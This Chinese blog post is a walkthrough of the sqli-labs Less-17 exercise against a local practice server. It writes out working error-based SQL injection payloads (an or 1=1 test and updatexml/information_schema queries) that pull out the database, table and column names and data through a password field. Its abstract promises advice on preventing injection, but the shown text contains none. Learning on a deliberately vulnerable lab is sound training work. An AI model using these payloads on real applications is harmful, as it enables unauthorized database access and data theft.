51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli-labs系列——Less-17

摘要 {#摘要}

本文主要介绍了在sqli-labs-master平台的Less-17实验中,如何通过报错注入的方式获取数据库的名称、表名、列名以及相应的数据。首先通过填写恶意输入触发SQL语句执行错误,然后通过构造注入语句来获取数据库的名称、表名、列名以及相应的数据。具体来说,我们通过填写恶意输入来判断是否存在注入,然后通过构造不同的注入语句来获取数据库的名称、表名、列名以及相应的数据。最后,我们提到了注入漏洞的危害以及如何避免注入漏洞的发生。

前言 {#前言}

当我们进入十七题发现他提示我们这里是密码重置,所以我们从下面的password入手

前期准备 {#前期准备}

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节 {#实验环节}

浏览器访问Less-17 {#浏览器访问Less-17}

http://127.0.0.1/sqli-labs-master/Less-17/

图片-1686817178446

判断是否存在注入 {#判断是否存在注入}

#用户名填写
admin
#密码填写
' or 1=1 -- xz

图片-1686817695122

判断库名 {#判断库名}

123'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- xz
#用户名随便用一个,密码字段输入以上命令,通过报错注入得到库名为security

图片-1686817742061

判断表名 {#判断表名}

123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- xz
#爆出第一个表名是emails
123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 1,1),0x7e),1)-- xz
#爆出第二个表名是referers
.......以此类推所有的表名分别是emails,referers,uagents,users

图片-1686818878185 图片-1686818950504

判断列名 {#判断列名}

123'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- xz
#得出emails表第一个列名为id

图片-1686819115344

判断数据 {#判断数据}

123'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- xz
#说明id列的第一个数据是1

图片-1686819416453

赞(0)
未经允许不得转载:工具盒子 » sqli-labs系列——Less-17